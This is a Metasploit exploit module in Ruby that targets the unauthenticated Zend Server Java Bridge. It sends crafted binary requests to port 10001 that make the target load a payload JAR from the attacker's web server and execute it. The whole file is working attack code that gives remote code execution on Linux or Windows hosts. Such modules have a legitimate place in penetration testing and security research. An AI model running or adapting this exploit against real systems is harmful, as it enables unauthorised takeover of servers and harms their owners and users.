Send Server Java Bridge Arbitrary Java Code Execution

##

# $Id: zend_java_bridge.rb 12242 2011-04-05 01:08:07Z swtornio $

##

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = GreatRanking

include Msf::Exploit::Remote::HttpServer

include Msf::Exploit::Remote::Tcp

def initialize(info = {})

super(update_info(info,

'Name'           => 'Zend Server Java Bridge Arbitrary Java Code Execution',

'Description'    => %q{

This module takes advantage of a trust relationship issue within the

Zend Server Java Bridge. The Java Bridge is responsible for handling interactions

between PHP and Java code within Zend Server.

When Java code is encountered Zend Server communicates with the Java Bridge. The

Java Bridge then handles the java code and creates the objects within the Java Virtual

Machine. This interaction however, does not require any sort of authentication. This

leaves the JVM wide open to remote attackers. Sending specially crafted data to the

Java Bridge results in the execution of arbitrary java code.

},

'Author'         => [ 'bannedit' ],

'License'        => MSF_LICENSE,

'Version'        => '$Revision: 12242 $',

'References'     =>

[

[ 'OSVDB', '71420'],

[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-113/'],

[ 'URL', 'http://www.exploit-db.com/exploits/17078/' ],

],

'Platform'       => ['java'], # win

'Arch'           => ARCH_JAVA,

'Privileged'     => true,

'Targets'        =>

[

[ 'Linux', {}],

[ 'Windows', {}],

],

'DisclosureDate' => 'Mar 28 2011',

'DefaultTarget' => 0))

register_options( [ Opt::RPORT(10001) ], self.class)

end

def exploit

start_service()

send_java_require

end

def send_java_require()

connect

jar = rand_text_alpha(rand(8)+1) + '.jar'

path = get_uri + '/' + jar

uri_len = path.length

java_require = [0xffffffff, 0x16000000].pack('V*') +

"setAdditionalClassPath" + [0x01000000, 0x00000004].pack('V*') +

[uri_len].pack('C') + path

java_require = [java_require.length].pack('N') + java_require

print_status("Sending java_require() request... #{path}")

sock.put(java_require)

res = sock.get_once

select(nil, nil, nil, 5) # wait for the request to be handled

create_and_exec

end

def create_and_exec

print_status("Sending Final Java Bridge Requests")

create_obj =

[0x34000000, 0x00000000, 0x0c000000].pack('V*') +

"CreateObject" +

[0x02000000, 0x00000004].pack('V*') + [0x12].pack('C') +

"metasploit.Payload" +

[0x07000000].pack('N') + [0x00].pack('C')

sock.put(create_obj)

res = sock.get_once

obj_id = res[5,4]

callmain =

[0x1f000000].pack('V') + obj_id + [0x04000000].pack('V') + "main" +

[0x01000000, 0x00000008, 0x00000201, 0x00040000].pack('V*') + [0x00].pack('C') +

[0x00].pack('C') + [0x00].pack('C')

sock.put(callmain)

sock.get_once

handler()

end

def on_request_uri(cli, request)

if request.uri =~ /\.jar$/i

send_response(cli, payload.encoded,

{

'Content-Type' => 'application/java-archive',

'Connection'   => 'close',

'Pragma'       => 'no-cache'

})

print_status("Replied to Request for Payload JAR")

end

end

end